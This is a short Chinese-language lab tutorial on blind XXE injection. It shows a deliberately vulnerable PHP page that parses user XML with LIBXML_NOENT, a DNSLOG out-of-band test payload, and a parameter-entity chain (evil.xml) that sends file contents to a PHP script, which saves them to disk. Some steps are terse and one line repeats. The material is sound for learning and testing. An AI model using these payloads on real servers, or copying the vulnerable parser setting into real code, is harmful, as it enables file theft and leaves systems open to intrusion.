XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)、内网扫描等危害。
blind xxe (盲注)可以使用外带数据通道,提取数据 ;
# 编写一个1.php的文档,输入一下内容
<?php
error_reporting(0);
$string_xml = '<?xml version="1.0" encoding="GB18030"?><note><to>George</to>
<from>John</from><heading>Reminder</heading><body>xml_stzr</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
echo '<meta charset="GB18030">';
?>
登录127.0.0.1/1.php后发现页面空白,证明没有回显
# 我们登录http://dnslog.pw/dns/来查看我们直接的域名
# 然后我们通过DNSLOG来外带测试
<?xml version = "1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "http://mazha.dnslog.pw">]>
<c>&b;</c>
# 将其中的域名改为自己的并进行编码
# 自己构建外带写入文件 重点中的重点
# 创建evil.xml 文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?
file=%file;'>">
# 创建一个1.php进行编码
<?php file_put_contents("1.txt", $_GET['file']); ?>
# 并且在c盘下创建一个1.txt文件
# 创建一个2.php
<?php
error_reporting(0);
$string_xml = '<?xml version="1.0" encoding="GB18030"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml_stzr</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
echo '<meta charset="GB18030">';
?>
# 最后把1.php中的代码编码后放到2.php后面
?xml= 编码
# 发现在www目录下找到了1.txt文件,内容也显示出来了
发现在www目录下找到了1.txt文件,内容也显示出来了
好小子,离成功又近了一步!!!